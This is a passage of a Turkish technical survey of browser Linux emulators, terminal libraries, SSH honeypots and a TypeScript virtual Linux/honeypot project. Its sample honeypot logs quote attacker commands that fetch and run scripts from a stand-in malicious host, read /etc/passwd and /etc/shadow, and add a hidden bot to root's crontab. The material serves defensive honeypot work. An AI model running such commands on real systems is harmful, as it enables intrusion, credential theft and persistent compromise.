Ortaya çıkan .wasm büyüktür -- minimal bir Ubuntu birkaç yüz MB'tır -- ama tamamen kendi kendine yeterlidir. Birine bir .wasm e-postayla gönderebilirsin ve onlar tarayıcılarında Ubuntu çalıştırabilir. Bu cümle mantıklı olmamalı ama işte buradayız.

GitHub: container2wasm/container2wasm


Emülatör ailesi özeti

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
Mimari x86-32 JIT→Wasm RISC-V (Wasm) OR1K (JS) x86 (özel) Node.js→Wasm/WASI x86/RISC-V (Wasm)
Gerçek çekirdek ✅ ✅ ✅ ✅ ❌ (Node.js) ✅
64-bit ❌ ✅ (RISC-V) ❌ ✅ yok ✅
npm paketi ✅ ❌ ❌ CDN/API ✅ ❌ (CLI aracı)
Node.js kullanımı ✅ ❌ ❌ ❌ ❌ (sadece tarayıcı) Wasmtime ile
Tarayıcı kullanımı ✅ ✅ ✅ ✅ ✅ ✅
RAM/örnek 150–256 MB ~64–128 MB ~64 MB 200+ MB ~100 MB ~200–500 MB
Başlatma süresi 15–40s 10–30s 10–30s 15–40s 2–5s 10–40s
Açık kaynak ✅ ✅ ✅ ❌ kısmi ✅
Durum ✅ çok aktif ✅ kararlı ⚠️ arşivlenmiş ✅ ticari ✅ aktif ✅ aktif

Bu tablodan göze çarpan: v86, npm paketi olan, hem tarayıcıda hem Node'da çalışan ve açık kaynak olan tek emülatör. Bu yüzden "JavaScript Linux emülatörü" konuşmalarına hakimdir. Diğer her şeyin bir yakalaması vardır -- JSLinux'un API'si yoktur, jor1k arşivlenmiştir, CheerpX para gerektirir, WebContainers sadece tarayıcı ve Node'a özeldir, container2wasm bir derleme adımı ve CLI gerektirir. Sadece "JavaScript'te Linux başlatmak" istiyorsan, v86 neredeyse her zaman doğru başlangıç noktasıdır.


Bölüm 3 -- Terminal yığınları: xterm.js ve node-pty

İki paket, insanlar shell benzeri deneyimler inşa ettiğinde sürekli karşımıza çıkar. Sandbox veya emülatör değiller -- UI ve PTY tesisatıdır -- ama o kadar bitişiktirler ki onları dışarıda bırakmak kötü hissettirirdi. Ayrıca ikisini de kullandım ve gerçekten iyiler.

3.1 xterm.js -- terminal renderlayıcısı

xterm.js, tarayıcı için bir terminal emülatörüdür. Bir terminal ekranını (VT100/xterm kaçış dizileri) bir <canvas> öğesinde renderlar, klavye girdisini işler ve veri akışı için bir API sunar.

Kullananlar: VS Code'un entegre terminali, Azure Cloud Shell, Proxmox VE, AWS CloudShell ve daha birçokları.

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// Terminale veri gönder (metin olarak renderlanır)
term.write("$ ");
term.onData(data => {
  // data tuş vuruşlarıdır -- backend'ine gönder
  socket.send(data);
});
socket.onmessage(msg => {
  // backend'den gelen çıktı -- görüntüle
  term.write(msg.data);
});

xterm.js sadece renderlama katmanıdır. Bir shell çalıştırmaz. Komutları yorumlamaz. Hangi backend'e bağlamak istersen ona bağladığın bir görüntü bileşenidir. Birçok kişi xterm.js'nin "terminali yaptığını" düşünür ama aslında sadece ekrandır -- yine de onu gerçekten komut çalıştıran bir şeye bağlaman gerekir.

npm: @xterm/xterm
GitHub: xtermjs/xterm.js


3.2 node-pty -- PTY başlatma

node-pty, Node.js'de bir sahte terminal (PTY) başlatır ve ona bir okuma/yazma tanıtıcısı verir. xterm.js ile kullanıldığında, sunucuda çalışan gerçek bir shell (bash, zsh, fish) ile konuşan bir tarayıcı terminali inşa etmeni sağlar.

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // WebSocket aracılığıyla tarayıcıdaki xterm.js'ye gönder
  ws.send(data);
});

ws.on("message", data => {
  // Tarayıcıdaki tuş vuruşlarını shell'e ilet
  shell.write(data);
});

Bu, bulut IDE'leri ve web terminalleri için standart desendir: xterm.js (tarayıcı) ↔ WebSocket ↔ node-pty ↔ gerçek bash. İzolasyon yok. Shell, Node.js sürecinin tam izinleriyle çalışır.

Bakımcı: Microsoft.
npm: node-pty
GitHub: microsoft/node-pty


Bölüm 4 -- SSH honeypot'ları

Honeypot'lar saldırıya uğramak için tasarlanır. Amaç, saldırganların etkileşime girmesi için yeterince gerçek görünmek, aynı anda yaptıkları her şeyi tehdit istihbaratı için kaydetmektir. SSH birincil hedeftir çünkü internette en çok saldırıya uğrayan hizmettir -- genel bir IP'de 22. portu açarsan, dakikalar içinde otomatik tarama girişimleri göreceksin. Bir ara dene, ne kadar hızlı olduğu dehşet verici.

Bir honeypot'un kalitesi iki şeyle ölçülür: sadakat (gerçek bir sistemmiş gibi ne kadar inandırıcı olduğu) ve telemetri (ne kadar faydalı veri yakaladığı). Bunlar gerilim halindedir. Yüksek sadakatli bir honeypot inşa etmesi daha zor ve işletmesi daha risklidir.

Bu bölüm, beni sonunda typescript-virtual-container'da HoneyPot modülünü inşa etmeye yönlendiren şeydir, bu yüzden burada bazı fikirlerim var.

4.1 Cowrie -- altın standart

Cowrie, Python tabanlı orta-yüksek etkileşimli bir SSH ve Telnet honeypot'udur. Araştırma ve güvenlik topluluğunda en yaygın kullanılan SSH honeypot'udur.

Mimari:

  • Protokol katmanı: gerçek SSH protokolü uygulaması (Twisted Conch), böylece saldırganlar gerçek el sıkışmalar, gerçek anahtar değişimi, gerçek kimlik doğrulama alır
  • Shell katmanı: sahte bir dosya sistemi (Debian 5.0'a benzeyen) ve yaygın komutlara yanıt veren kısmi bir shell yorumlayıcı
  • Proxy modu: arkasındaki gerçek bir sisteme yönlendirebilir (yüksek etkileşim modu), içinden geçen her şeyi kaydeder
  • LLM modu (yeni eklenen): nasıl işleyeceğini bilmediği komutlara dinamik yanıtlar üretmek için bir dil modeli kullanır -- evet, Cowrie'nin artık bir AI modu var. Çılgın zamanlar.
# Cowrie'nin yakaladıkları
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie, kötü amaçlı yazılım analizi için indirilen dosyaları (wget/curl/SFTP/SCP aracılığıyla) kaydeder. Splunk, Elasticsearch ve diğer SIEM platformlarıyla entegre olur.

Sadakat: orta-yüksek. Otomatik botları kandırmak için yeterince inandırıcı (SSH saldırganlarının %99'u -- çoğu sadece root/password deneyen aptal scriptlerdir). Ancak sofistike insanlar onu parmak iziyle tespit edebilir, genellikle oldukça hızlı.

Dil: Python (Twisted)
GitHub: cowrie/cowrie


4.2 Kippo -- Cowrie'nin öncülü

Kippo, Cowrie'nin dayandığı orijinal orta etkileşimli SSH honeypot'udur. Aynı temel fikir: gerçek SSH protokolü, sahte dosya sistemi, kısmi shell. Cowrie bu noktada onu tamamen geride bırakmıştır -- Kippo arşivlenmiştir ve 2026'da kimse onu çalıştırıyor olmamalıdır. Tamamen tarihsel bütünlük için bahsedilmiştir, eski blog yazılarında ve güvenlik makalelerinde referans verildiğini görebilirsin.

GitHub: desaster/kippo -- arşivlenmiş


4.3 endlessh -- SSH katran çukuru

endlessh, dejenere bir honeypot'tur: SSH bağlantılarını, saniyede 1 bayt (veya daha yavaş) banner verisi damlatarak açık tutar. Ona bağlanan bir SSH istemcisi sonsuza kadar takılı kalır -- sunucu banner'ı göndermeyi bitirmediği için kimlik doğrulamaya asla geçemez.

Amaç tehdit istihbaratı değil, saf kaynak reddidir: saldırgan tarayıcı thread'lerini meşgul ederek gerçek hedeflere daha hızlı vuramamalarını sağlamak. Dürüst olmak gerekirse, en iyi şekilde biraz kötücül. Saldırgandan hiçbir şey öğrenmiyorsun -- sadece zamanlarını boşa harcıyorsun. Bunun derin bir tatmini var.

// endlessh'in tüm protokol davranışı:
// Gönder: "SSH-2.0-OpenSSH_" sonra yavaşça rastgele karakterler ekle
// Bağlantıyı asla kapatma
// Saldırgan tarayıcı N saniye sonra zaman aşımına uğrar

Hiçbir komut yakalanmaz. Hiçbir kimlik doğrulama test edilmez. Sadece bağlantı süresi.

Yazıldığı dil: C
GitHub: skeeto/endlessh


4.4 sshesame -- "herkesi içeri al" honeypot'u

sshesame, her SSH bağlantısını kabul eder (herhangi bir kullanıcı adı, herhangi bir parola, herhangi bir anahtar) ve her şeyi kaydeder. Sıfır etkileşimli bir honeypot'tur: komutlara yanıt vermez, sadece saldırganları "içeri" alır ve yazdıkları her tuş vuruşunu kaydeder.

2024-01-15 03:22:11 45.33.32.156'dan bağlantı
  Kullanıcı adı: root, Parola: password123 -- kabul edildi
  Yazılan komutlar:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  47s sonra bağlantı kesildi

Kimlik bilgisi toplama için faydalıdır: botların denediği kullanıcı adlarını ve parolaları hızla biriktirirsin, bu da hangi varsayılan kimlik bilgilerinin şu anda aktif olarak kaba kuvvet saldırısına uğradığını söyler. Spoiler: her zaman root/password, admin/admin ve root/123456. Her seferinde.

GitHub: jaksi/sshesame


4.5 Lyrebird -- Docker tabanlı honeypot framework'ü

lyrebird/honeypot-base, ağ hizmeti honeypot'ları inşa etmek için bir Docker temel imajıdır. Spesifik olarak bir SSH honeypot'u değildir -- herhangi bir protokol honeypot'u inşa etmek için bir framework'tür.

Temel imaj, bir günlük kaydı framework'ü, protokoller için bir eklenti sistemi ve çoklu hizmet honeypot'ları için Docker Compose kurulumları sağlar. Belirli hizmetleri taklit etmek için genişletirsin.

Docker Hub: lyrebird/honeypot-base


4.6 Node.js'de bir SSH honeypot'u inşa etmek -- saf yol ve neden başarısız olduğu

typescript-virtual-container'dan önce, Node.js'de bir SSH honeypot'u inşa etmek, gerçek ssh2 kütüphanesini manuel komut taklitçiliğiyle birleştirmek anlamına geliyordu. Çok sıkıcı, çok eksik, ama yani... bu noktada bir geçiş ayini:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // Girişimi günlüğe kaydet
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // Herkesi içeri al
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // Sahte yanıt
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

Bu, kimlik bilgilerini ve komutları yakaladığı anlamında "çalışır". Ancak sofistike bir saldırgan ona dokunduğu an bariz bir şekilde sahtedir. uname -a'nın doğru dizeyi döndürmesi ama ls /etc'nin "command not found" döndürmesi bir işarettir. Dosya sistemi yoktur. Komutlar zincirlemez. Borular çalışmaz. Değişkenler genişlemez.

Yetenekli bir saldırgan, honeypot'unu ilk beş komutta parmak iziyle tespit eder. Cowrie benzeri davranışları kontrol eden otomatik scriptler de onu hemen tespit edecektir. Görünüşe göre, typescript-virtual-container yazarını komutları gerçekten yorumlayan bir şey inşa etmeye iten şey buydu -- Bölüm 5'te daha fazlası.


Honeypot ailesi özeti

Cowrie Kippo endlessh sshesame Lyrebird Saf ssh2
Etkileşim seviyesi orta-yüksek orta sıfır sıfır değişir düşük
Gerçek SSH protokolü ✅ ✅ ❌ (tarpit) ✅ değişir ✅
Shell sadakati orta orta yok yok değişir minimal
Kimlik bilgisi yakalar ✅ ✅ ❌ ✅ ✅ ✅
Komut yakalar ✅ ✅ ❌ ✅ değişir ✅
Kötü amaçlı yazılım yakalar ✅ ✅ ❌ ❌ ❌ ❌
SIEM entegrasyonu ✅ yerel ❌ ❌ ❌ ❌ manuel
LLM yanıtları ✅ (yeni) ❌ ❌ ❌ ❌ ❌
Dil Python Python C Go Docker Node.js
Node.js yerel ❌ ❌ ❌ ❌ ❌ ✅
Durum ✅ çok aktif ⚠️ arşivlenmiş ✅ aktif ✅ aktif ✅ aktif DIY

Buradaki desen oldukça net: ne kadar çok sadakat istersen, o kadar çok Python yazman gerekir. Bunu ciddi yapıyorsan Cowrie açık ara kazanandır -- yıllardır savaşta test edilmiştir ve sadece kimlik bilgilerinden çok daha fazlasını yakalar. endlessh ve sshesame, ciddi tehdit istihbarat araçlarından çok eğlenceli yan projelerdir. Ve saf Node.js yaklaşımı, bir duvara çarpmadan önce yolun belki %20'sine kadar götürür.


Bölüm 5 -- typescript-virtual-container: boşluğu dolduran şey

Tamam, işte işlerin ilginçleştiği yer. Yukarıdaki tüm aileleri katalogladıktan sonra, eksik çeyrek oldukça bariz hale geliyor:

  • JS sandbox'ları: kodu izole eder, shell yok, dosya sistemi yok, SSH yok
  • Linux emülatörleri: gerçek işletim sistemi, gerçek shell, gerçek SSH... ama 150+ MB RAM, 30 saniyelik başlatma ve seri G/Ç üzerine kendi API'ni inşa etmen gerekiyor
  • Honeypot'lar: sahte shell, programatik API yok, Python/Go/C, Node-yerel değil

Kimse eksiksiz, programatik, Node-yerel bir Linux ortamını gerçek SSH, gerçek izinler, gerçek sanal ağ ve tipli bir TypeScript API ile inşa etmemişti. O yüzden o inşa etti.

Hızlı tanıtım -- ondan ilk kez düzgün bir şekilde bahsediyorum: typescript-virtual-container, çevrimiçi olarak Fortune (veya ItsRealFortune) olarak bilinen Fransız geliştirici Chloé Rolzhausen tarafından inşa edildi. Onu web sitesinde ve LinkedIn'de bulabilirsin. Tüm proje -- 56 bin satır TypeScript, 247 dosya, 170 komut -- tek bir kişinin solo çabasıydı. Makalenin geri kalanında ona Fortune diyeceğim. Ve evet, oldukça çılgınca. Git bak!

Gerçekte ne olduğu

typescript-virtual-container, saf TypeScript ile yazılmış bir Linux ortamı simülatörüdür. Wasm yok. Yerel eklenti yok. Çekirdek yok. 247 TypeScript dosyası boyunca ~56.000 satır kaynak.

Temel içgörü: ls /etc | grep passwd çalıştırmak için bir CPU emülatörüne ihtiyacın yok. İhtiyacın olan:

  1. Yol işlemlerine yanıt veren bellek içi bir düğüm ağacı
  2. Her erişimde uygulanan bir POSIX izin modeli
  3. Pipeline'ları, yönlendirmeleri, alt shell'leri ve değişken genişletmeyi anlayan bir shell ayrıştırıcısı
  4. ~170 komut uygulaması (fonksiyonlar, ikili dosyalar değil)
  5. Bir kullanıcı ve grup yönetim sistemi
  6. Tüm bunları SSH üzerinden sunacak bir şey

Tüm bunlar, çekirdek katılımı olmadan saf TypeScript'te başarılabilir.

VirtualFileSystem

VFS, tipli düğümlerden oluşan bellek içi bir ağaçtır -- açıkça "fs" kalıcılık modunu etkinleştirmediğin sürece disk G/Ç yoktur:

// Basitleştirilmiş iç temsil
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // tembel yüklenen yer tutucu

Her yol işlemi normalizePath (., .., sembolik bağları çözer) ve enforceAccess (istekte bulunan uid/gid'e karşı okuma/yazma/çalıştırma iznini kontrol eder) üzerinden geçer. chmod, chown, sticky bit'ler ve setuid'in hepsi uygulanmıştır ve gerçekten uygulanır. uid 1000 olarak çalışan bir süreç, root'a ait 0600 modundaki bir dosyayı okumaya çalışırsa EACCES alır -- sahte bir EACCES değil, izin kontrolünden fırlatılan gerçek bir JavaScript Error'ı. Bu kısım oldukça zarif, dürüst olmak gerekirse.

VFS şunlara serileştirilir:

  • .vfsb -- kompakt bir ikili format (özel, fflate sıkıştırmalı) -- bu varsayılandır
  • JSON snapshot'ı -- insan tarafından okunabilir, hata ayıklama için iyi
  • TAR arşivi -- gerçek tar formatıyla içe/dışa aktarma, böylece tar -xf bir şey yapabilirsin ve VFS... o dosyalara sahip olur
  • SquashFS imajı -- salt okunur içe aktarma

"fs" kalıcılık modunda, çökme kurtarma için bir yazma-önde günlüğü (WAL) tutar -- yazmalar önce günlüğe gider, ardından temizleme sırasında snapshot'a. Node işlemin yarıda çökerse, günlük son tam durumu yeniden yapılandırmana izin verir.

Ayrıca disk G/Ç gecikmesini simüle eden bir FileCache katmanı vardır. NVME_DISK_IO veya HDD_DISK_IO gibi profiller yapılandırabilirsin ve VFS, gerçekçi zamanlamaları eşleştirmek için dosya işlemlerini yapay olarak geciktirir. Ki bu biraz komik -- yazılımın donanımı simüle etmek için kendini kasıtlı olarak yavaşlatması -- ama aslında kıyaslama için çok kullanışlı.

Shell yorumlayıcı

Shell ayrıştırıcısı tipli bir AST üretir:

// "ls /etc | grep root && echo done" şuna ayrıştırılır:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

Yürütücü bu AST'de yürür:

  • Bir pipeline için, bir { stdin, stdout, stderr } akış zinciri oluşturur ve her komutu borulu G/Ç ile yürütür
  • Mantıksal operatörler (&&, ||) için, sağ tarafı çalıştırmadan önce sol taraftan sonra $? kontrol eder
  • Alt shell'ler ($(...), ` `) için, yürütme context'ini fork eder
  • Yönlendirmeler (>file, >>file, 2>&1, <file) için, yürütmeden önce akış bağlantısını kurar
  • Arka plan işleri (cmd &) için, tamamlanmasını beklemeden çalıştırır
  • Değişkenler için, $VAR, ${VAR:-default}, ${#VAR} ve aritmetik $((expr)) ifadelerini genişletir
  • Süslü parantez genişletmesi ({a,b,c}, {1..5}) için, yürütmeden önce tam genişletme listesini üretir

Tüm bunlar gerçek POSIX shell davranışıdır. Ayrıştırıcı heredoc'ları, süreç ikamesini, globbing'i (*, ?, [abc]) ve tırnak işlemeyi (tek tırnak, enterpolasyonlu çift tırnak, ters eğik çizgi kaçışı) işler. Mükemmel değildir -- uç durumlar vardır -- ama bir TypeScript projesinden bekleyeceğinin çok ötesindedir.

~170 yerleşik komut

Komutlar, bir komut kaydına kayıtlı TypeScript fonksiyonlarıdır. stdin/stdout/stderr akışları, VFS, kullanıcı oturumu, shell ortamı ve alt modüllere erişim içeren bir CommandContext alırlar.

170 Unix komut uygulaması yazmak... çok şeydir. Bazıları önemsizdir (echo, true, false), bazıları şaşırtıcı derecede karmaşıktır (awk, find, tar). Yani, tam POSIX awk? TypeScript'te? Bu delice, dürüst olmak gerekirse. İşte içinde olanlardan bir örnek:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (istemci tarafı, dışarı bağlanan),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (taslak), python3 (taslak), node (taslak),
nano (tam etkileşimli düzenleyici), vim (temel), vi (temel),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (simüle edilmiş), systemctl (taslak), journalctl (taslak),
...ve ~130 tane daha

"Taslak"lar (git, python3, node), yaygın kullanımlara gerçekçi yanıt verir -- python3 --version inandırıcı bir sürüm dizesi döndürür, git status sahte bir repo durumu gösterir -- gerçek bir iş yapmadan. Bir honeypot için bunlar aslında gerçek şeylerden daha kullanışlıdır, çünkü saldırganların gerçekten zararlı bir şey çalıştırmadan ne çalıştırmaya çalıştıklarını gözlemlemeni sağlarlar.

SSH sunucusu

SSH katmanı, gerçek ssh2 npm paketini kullanır -- gerçek SSH protokolü, gerçek anahtar değişimi, gerçek şifreleme. SSHMimic onu sarar:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// Gerçek SSH: ssh -p 2222 root@localhost
// Gerçek SFTP: sftp -P 2222 root@localhost
// Gerçek SCP: scp -P 2222 file root@localhost:/tmp/

shellProperties, uname -a, lsb_release -a, neofetch, /proc/version ve /etc/os-release'in ne bildireceğini belirler. Herhangi bir Linux dağıtımını ve çekirdek sürümünü inandırıcı bir şekilde taklit edebilirsin -- gerçek bir SSH istemcisine farkı söylemenin kesinlikle hiçbir yolu yoktur.

HoneyPot modülü

Shell yorumlayıcı gerçek ve SSH sunucusu gerçek olduğu için, saldırgan komutları sanal ortamda gerçekten yürütülür. Saldırgan tarafından tetiklenen wget istekleri, hedef URL'lerle birlikte günlüğe kaydedilir. Saldırgan tarafından oluşturulan dosyalar VFS'de kaydedilir. Saldırganın izin yükseltme girişimleri gerçekçi hatalar üretir.

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// Bir oturumdan sonra, dosya sisteminin diff'ini al
const before = shell.vfs.toSnapshot();
// ... saldırgan oturumu ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

Bu, Cowrie'den niteliksel olarak farklıdır. Cowrie'nin sahte dosya sistemi ls'ye yanıt verebilir ancak bir saldırganın hangi dosyaları oluşturduğunu ve yapılandırılmış bir diff olarak hangi değişiklikleri yaptığını gerçekten takip edemez. typescript-virtual-container bunu yapabilir, çünkü VFS canlı bir veri yapısıdır -- her yazma işlemi takip edilir. Saldırganın az önce eklediği cron girdisi mi? Diff'te. O .hidden klasörü mü? Diff'te. Kötü amaçlı yazılım analizi için oldukça kullanışlı.

Sanal ağ yığını

Bu, muhtemelen tüm projenin en etkileyici kısmıdır ve bu alandaki başka hiçbir projede benzeri yoktur. Yani, VPN desteği olan, saf TypeScript ile yazılmış, hiçbir gerçek ağ bağdaştırıcısı içermeyen tam bir L2/L3 sanal ağ yığını. Bu gerçekten çılgınca.

VirtualNetworkManager, her VirtualShell örneğine, yapılandırılabilir IP adresleri, yönlendirme tabloları ve bir yazılım güvenlik duvarı (conntrack ve NAT ile iptables tarzı kurallar) içeren sanal ağ arayüzleri verir. ip addr, ip route, iptables -L, netstat -rn'in tümü sanal ağ durumunu gösterir.

VirtualSwitch (Fransızca "baie informatique" -- sunucu rafı bölmesi kelimesinden gelen Baie adıyla), birden çok shell'i paylaşılan bir alt ağda birbirine bağlar. Şunları uygular:

  • MAC öğrenme ve ARP
  • Alt ağlar arası IP yönlendirme
  • NAT (giden maskeleme)
  • DNS (alt ağ başına yapılandırılabilir kayıtlar)
  • Yük dengeleme (round-robin, en az bağlantı)
  • Trafik şekillendirme: gecikme, jitter (Gaussian dağılımı), paket kaybı, patlama kaybı, yeniden sıralama, çoğaltma
  • Bant genişliği sınırlama (token bucket)
  • MTU zorlama
  • Bağlantı takibi (durum bilgili, NEW/ESTABLISHED/TIME_WAIT durumlarıyla)
const baie = new Baie("192.168.0.0/24");

// Aynı switch'te üç sanal makine
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// Güvenlik duvarı: web api'ye ulaşabilir, api db'ye ulaşabilir, web db'ye doğrudan ulaşamaz
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// Trafik şekillendirme: dışarıya dengesiz bir WAN bağlantısını simüle et
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn, Baie örnekleri arasında şifreli tüneller oluşturur -- siteler arasında VPN ara bağlantıları olan çoklu site ağını simüle edebilirsin.

VirtualProxy, port yönlendirme ve bir SOCKS5 proxy'si uygular.

Bunların hiçbiri gerçek bir ağ bağdaştırıcısına dokunmaz. Hepsi TypeScript nesne yönlendirmesidir. ping komutu, sanal switch üzerinden yönlendirilerek ve simüle edilmiş ICMP yanıtları döndürülerek "çalışır". curl http://192.168.0.3/api, sanal ağ üzerinden yönlendirilir, api shell'inin simüle edilmiş HTTP yanıtına çarpar ve içeriği döndürür. Mümkün olan en iyi şekilde, sonuna kadar kaplumbağalar.

SandboxedShell

Daha güçlü izolasyon gerektiren programatik kullanım için, SandboxedShell bir Node.js Worker thread'inde bir shell oturumu çalıştırır:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // bir çekirdeğin %25'i
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

Buradaki izolasyon, VFS katmanı (worker thread'in shell'i yalnızca sanal dosya sistemini görebilir, asla ana bilgisayar dosya sistemini göremez) artı Node.js Worker thread bellek izolasyonu ile zorlanır. Bu, isolated-vm'den daha hafiftir ancak JS seviyesi izolasyondan ziyade shell seviyesi izolasyon için daha uygundur.

Kaynak sınırlama

Sistem izleme komutlarının ne bildireceğini etkileyen, shell başına kaynak sınırları yapılandırabilirsin:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

Bu shell'in içinde, free -m toplam 512 MB RAM gösterir. nproc 2 döndürür. /proc/meminfo sınırlanmış değerleri gösterir. htop ve top sınırlanmış CPU sayısını gösterir. Bu, sahte makinenin donanım profilini hassas bir şekilde parmak iziyle belirlemeni sağlar.

Üç dağıtım modu

Mod 1: SSH/SFTP sunucusu
  VirtualSshServer / VirtualSftpServer
  → Gerçek SSH protokolü, gerçek SFTP, gerçek SCP
  → Kullanım alanı: honeypot'lar, uzak test ortamları, eğitim laboratuvarları

Mod 2: Web shell (tarayıcı)
  builds/fortune-nyx-v1.7.8-web.min.js (ESM paketi)
  → Tarayıcıda çalışır, VFS IndexedDB'de kalıcıdır
  → Kullanım alanı: etkileşimli eğitimler, gömülü terminaller, demolar
  → Bonus: tam simüle edilmiş bir XFCE masaüstü için startxfce4 çalıştır

Mod 3: Bağımsız CLI
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (tek dosya, kurulum yok)
  → curl ile çalıştır, VFS'yi .vfs/ dizininde kalıcı yap
  → Kullanım alanı: hızlı demolar, yerel deneyler

Polyfill'ler -- tarayıcı derlemesi Wasm olmadan nasıl çalışıyor

Tamam, bu gerçekten zekice bulduğum ve özellikle belirtmek istediğim kısım.

Bir Node.js kütüphanesini tarayıcıda çalıştırmak genellikle bir kabustur. Ya bir Wasm çalışma zamanı kullanırsın (ağır, yüklenmesi yavaş) ya da her node:* import'unu elle tarayıcı uyumlu bir alternatifle değiştirmek için haftalar harcarsın. Fortune ikinciyi yaptı -- ama çok temiz bir şekilde, reponun polyfills/ dizininde yaşayan bir dizi özel polyfill yazarak.

Derleme pipeline'ı, sadece bir yığın alias girişi olan esbuild'dir:

// demo/build.js -- tüm tarayıcı derleme yapılandırması
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

Wasm yok. Harici polyfill kütüphanesi yok. webpack-node-externals saçmalığı yok. Sadece takma adlı modüller ve birkaç enjekte edilmiş global. Her birini inceleyeyim çünkü bazıları gerçekten etkileyici.

node:fs -- sahte dosya sistemi olarak IndexedDB

